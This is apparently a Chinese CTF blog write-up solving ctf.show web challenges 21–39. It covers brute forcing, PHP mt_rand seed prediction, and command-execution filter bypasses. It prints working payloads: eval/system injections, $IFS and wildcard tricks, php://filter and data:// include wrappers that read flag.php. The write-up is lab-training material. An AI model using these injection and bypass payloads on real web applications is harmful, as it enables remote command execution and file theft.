爆破,命令执行与dvwa靶场

爆破

web21

image-20220204152113077

题目:爆破什么的,都是基操

image-20220204152413922

我们尝试抓包

image-20220204155413690

我们发现用户名和密码被加密,用burp自带解码工具解码

image-20220204155544521

发现用户名和密码中间用冒号隔开

image-20220204161055780

image-20220204161948753

image-20220204161927249

image-20220204162053080

image-20220204162106023

爆破成功

image-20220204162516314

web22

题目:域名也可以爆破的,试试爆破这个ctf.show的子域名

image-20220204163355765

页面失效,提交flag{ctf_show_web}

web23

题目:还爆破?这么多代码,告辞!

image-20220204163541290

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
   
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
   
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
   
            echo $flag;
        }
    }
}else{
   
    highlight_file(__FILE__);

}
?>

查看代码

token被md5加密后的传参需要满足以下条件

1.要第二位与第15位与第18位相同 (因为下标是从0开始)
2.第二位+第15位+第18位/第二位=第32位

我们利用现成脚本:

import hashlib
a = "0123456789qwertyuiopasdfghjklzxcvbnm"
for i in a:
    for j in a:
        b = (str(i) + str(j)).encode("utf-8")
        m = hashlib.md5(b).hexdigest()
        if(m[1:2] == m[14:15] and m[14:15] == m[17:18]):
            if ((int(m[1:2]) + int(m[14:15]) + int(m[17:18])) / int(m[1:2])) == int(m[31:32]):
                print('原字符串为:',b)
                print('加密后字符串为:',m)

image-20220204164332386

所以token=3j

传参token=3j 得到flag

image-20220204164504477

web24

题目:爆个🔨

  • 考点: php生成随机数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BKeUWTUS-1644581548068)(https://gitee.com/nie-junyan/clodimage/raw/master/blog/20220211195249.png)]

if(isset($_GET['r'])){
   
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
   
        echo $flag;
    }

PHP伪随机数种子

首先查看mt_srand()和mt_rand()函数

mt_rand() 是使用 Mersenne Twister 算法返回随机整数,与 rand() 函数的主要区别是:
mt_rand()产生随机数值的平均速度比 libc 提供的 rand()快四倍,并且播种函数使用mt_srand(),而不是srand()。

当随机数的种子是个确定值时(如本题),mt_rand()所得到的随机数也是确定的,所以运行后发现mt_rand()=1155388967,传参r=1155388967即可

image-20220204170008680

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MIOPRJ4q-1644581548068)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204170042247.png)]

web25

题目:爆个🔨,不爆了

image-20220204170138998

查看源码:

if(isset($_GET['r'])){
   
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
   
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
   
            echo $flag;
        }
    }else{
   
        echo $rand;
    }
}

由源码可以发现我们可以利用r=0得到mt_rand()的值

通过如下代码,我们知道要将两个随机数相加得token值

if($_COOKIE[‘token’]==(mt_rand()+mt_rand()))

image-20220204172906276

最终得出

r=183607393 token=794171094

传参得到flag

命令执行

命令执行常见做题方法:

  1. *或?代替文件名全拼
  2. 用其它的命令执行函数代替被过滤的函数
  3. 用已知参数传入另一个无限制参数,构造木马
  4. 编码绕过
  5. include 不用括号 分号可用?>代替
  6. cat替换
  7. 内部字段分隔符$IFS
  8. grep
  9. 通配符匹配
  10. 无字母数字的webshell
  11. $(( ))与整数运算
  12. 脚本
  13. 复制重命名绕过
  14. fopen
  15. 路径读取
  16. 文件高亮
  17. 文件包含
  18. exit()
  19. mysql load_file读取文件
  20. 命令接口

反引号``

1.反引号``即命令替换
2.是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出

单引号,双引号

1.适用条件:过滤了字符串
2.放在shell命令中,绕过正则匹配且不影响原意

空格绕过

1. \> < <> 重定向符 
2. %09(需要php环境) 
3. ${IFS} $IFS$9
4.  {cat,flag.php} //用逗号实现了空格功能
5.  %20 
6. %09

读文件绕过(cat绕过)

适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

Linux通配符绕过

1. 适用条件:过滤了flag,没有过滤 ? *

2. 在linux系统中 有一些通配符

3. 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *

4. ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0

5. [abcd] 匹配abcd中任何一个字符

6. [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

   

include 和伪协议的配合

因为include包含php文件不会在页面显示出来
所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响

web29

题目:命令执行,需要严格的过滤

image-20220211144020657


error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}

preg_match()函数:

preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0

if(!preg_match("/flag/i", $c)){
   

只过滤flag【不区分大小写】

方法一:

1.查看目录

?c=system('ls');

image-20220211150309004

2.获取flag.php ,关键字flag过滤,使用通配符?

?c=system("cp fla?.php 1.txt");

cp命令将flag.php保存到1.txt 再去访问1.txt

image-20220211150951024

方法二:

直接用

?c=echo `tac  fl''ag.php`;

得到flag

image-20220211144714872

web30

error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}

这次过滤了flag,system,php,

system()函数

用于向操作系统传递控制台命令行,以WINDOWS系统为例,通过system()函数执行命令和在DOS窗口中执行命令的效果是一样的,所以只要在运行窗口中可以使用的命令都可以用SYSTEM()传递

用 ` ` 来代替system()
?c=`cp fla?.p?? 1.txt`;

http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/1.txt

image-20220211151832246

web31

查看源码

if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
   
        eval($c);
    }

过滤的更多了,包括cat 空格

我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,

得到空白页面右击看源码才能得到flag

ctf.show/?c=eval($_GET[1]);&1=system('cat flag.php');

将cat 换成 tac 就可以直接看到flag,tac 是 cat 的反向显示

ctf.show/?c=eval($_GET[1]);&1=system('tac flag.php');

也可以将空白用%09替代

ctf.show/?c=echo`tac%09fl*`;

image-20220211153719078

web32

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
   
        eval($c);

反引号,分号,括号 都不能用

没有括号的话不能使用上一题的eval(),所以要用没有括号的函数 比如include

分号可以用?>代替

include函数传入的参数不能执行系统命令,只能使用php伪协议,通过特定的通道读取文件

/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

image-20220211154431953

得到的是bsae64的数据,再去解码获得flag

image-20220211154529121

【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

【file://协议】

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

web33

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
   
        eval($c);

多过滤了一个"

使用上一题的方法一样可以出来,换一个函数用require,也是一样的

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

image-20220211155201920

image-20220211155230894

web34

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
   
        eval($c);

多过滤了一个冒号,也不影响我们使用上面的方法

/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

image-20220211155420488

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

多过滤了< =,与上题题解一样

web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
   
        eval($c);

不能使用数字,将1用a代替即可,GET[a],里面可以不用单引号

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

题目:命令执行,需要严格的过滤

链接:

image-20220219001106366

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
   
        include($c);
        echo $flag;
    
    }
        
}else{
   
    highlight_file(__FILE__);
}
?>

看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤

data伪协议命令执行:

data:text/plain,<php代码; ?>

构造:

payload:?c=data://text/palin,<?php system('cat fla?.php');?>


利用POST提交的参数1进行逃逸绕过正则

image-20220219001758522

查看源码获得flag

web38

题目:命令执行,需要严格的过滤

源码:

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|file|php/i", $c)){
   
        include($c);
        echo $flag;
    
    }
        
}else{
   
    highlight_file(__FILE__);
}
?>

多过滤了php和file,可以继续使用data协议,但用base64编码或者用<?= ?>来代替php

payload:

?c=data://text/palin,<?=system('cat fla?.???');?>

image-20220219002057298

查看源码获取flag

image-20220219002048258

web39

题目:命令执行,需要严格的过滤

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
   
        include($c.".php");
    }
        
}else{
   
    highlight_file(__FILE__);
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值